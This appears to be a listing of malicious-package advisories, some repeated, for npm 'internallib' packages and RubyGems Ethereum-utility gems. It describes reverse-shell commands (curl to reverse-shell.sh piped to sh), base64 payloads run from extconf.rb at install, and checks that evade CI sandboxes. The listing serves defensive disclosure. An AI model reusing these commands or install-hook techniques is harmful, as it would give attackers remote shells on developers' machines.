Malicious code in internallib_v23 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bf294381eb4f87a0dcccbd00977ac38ab25a8108639c8cc08543c7d0e09b5f36 index.js line 5 exports a function that invokes /bin/bash to curl https://reverse-shell.sh/10.0.19.80:4443 and pipe the response to a shell, deliveri...

Malicious code in internallib_v30 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 52b503d4f5d82ea2a67ac1cb9e3bbb82d009d375495f72cf13623f998a239cfe [email protected] ships a single index.js whose exported command function invokes /bin/bash -c with 'curl https://reverse-shell.sh/10.0.19.80:8443...

MAL-2026-17633 Malicious code in internallib_v30 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 52b503d4f5d82ea2a67ac1cb9e3bbb82d009d375495f72cf13623f998a239cfe [email protected] ships a single index.js whose exported command function invokes /bin/bash -c with 'curl https://reverse-shell.sh/10.0.19.80:8443...

Malicious code in internallib_v86 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9ea0c4f9673e1db33b6782ea815e30df5d2420ceff6d7ab920592e70a511bc07 internallibv86 ships a tiny index.js that exports a function command which invokes /bin/bash -c "curl https://reverse-shell.sh/... | sh" targeting...

Malicious code in internallib_v875 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a5772f4d8bb3df24cbd5859edef78f7770d547d4c366626552cd2dda539f1440 internallibv875 ships an index.js whose exported command function invokes /bin/bash -c with curl piped to sh, fetching a reverse-shell payload from...

MAL-2026-17635 Malicious code in internallib_v875 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a5772f4d8bb3df24cbd5859edef78f7770d547d4c366626552cd2dda539f1440 internallibv875 ships an index.js whose exported command function invokes /bin/bash -c with curl piped to sh, fetching a reverse-shell payload from...

Malicious code in eth-address-utils (RubyGems)

Source: amazon-inspector 8ed9d372d4fc694697be41c22e7c4d02d873e53e16bde2336069787b7b961ce2 The gem advertises itself as an Ethereum address utility library but its extconf.rb auto-executed by gem install carries a base64-encoded payload that is decoded and passed to eval inside a double-forked,...

Malicious code in web3-eth-utils (RubyGems)

Source: amazon-inspector 248aba9be7a8bfbd125b43640f1c52007358e34078b3bfec5430933c996b8666 The gem declares a native extension at ext/reqthrottlemini/extconf.rb but ships no C/C++/Rust sources, so the extension entry exists solely to force extconf.rb to run during gem install. Before calling...

cve-2025-49844

CVE-2025-49844 Mi prueba de concepto personal para CVE-2025-49844, también conocido como RediShell. Compilaciones de destino compatibles: Linux x86-64, imagen Docker redis:8.2.1-alpine Linux x86-64, imagen Docker redis:8.2.1-bookworm Es un poco torpe, probablemente no tan bueno como el de Wiz...

MSC-2026-12637

This package has been identified by Mend as containing potential malicious functionality. The severity of the functionality can change depending on where the library is running user's machine or backend server. The following risks were identified: • Contacting external host – this package sends...

MSC-2026-12638

This package has been identified by Mend as containing potential malicious functionality. The severity of the functionality can change depending on where the library is running user's machine or backend server. The following risks were identified: • Contacting external host – this package sends...

MSC-2026-12642

This package has been identified by Mend as containing potential malicious functionality. The severity of the functionality can change depending on where the library is running user's machine or backend server. The following risks were identified: • Contacting external host – this package sends...

Malicious code in request-guard (RubyGems)

Source: amazon-inspector 5724f6df96af48a04d14a3a986d2ea3b31c90a66e68cfde9e116adf187e42964 The gem's native-extension build script ext/reqthrottlemini/extconf.rb base64-decodes a Ruby payload, writes it to a random file under Dir.tmpdir, and spawns it with the Ruby interpreter before calling...

Malicious code in web3-eth-utils (RubyGems)

RubyGems runs this gem's native extension script ext/reqthrottlemini/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

MAL-2026-17616 Malicious code in web3-eth-utils (RubyGems)

RubyGems runs this gem's native extension script ext/reqthrottlemini/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

MAL-2026-17597 Malicious code in eth-address-utils (RubyGems)

RubyGems runs this gem's native extension script ext/reqthrottlemini/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

Malicious code in eth-address-utils (RubyGems)

RubyGems runs this gem's native extension script ext/reqthrottlemini/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

Malicious code in request-guard (RubyGems)

RubyGems runs this gem's native extension script ext/reqthrottlemini/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

MAL-2026-17569 Malicious code in request-guard (RubyGems)

RubyGems runs this gem's native extension script ext/reqthrottlemini/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

Malicious code in internallib_v923 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2d02d4c28dbcb2db331a6da7dba2476e3b7daf4f4d53d51d76d79ad4732d28a4 index.js exports a command function that shells out via /bin/bash -c to curl a payload from reverse-shell.sh and pipe it to sh, yielding a reverse...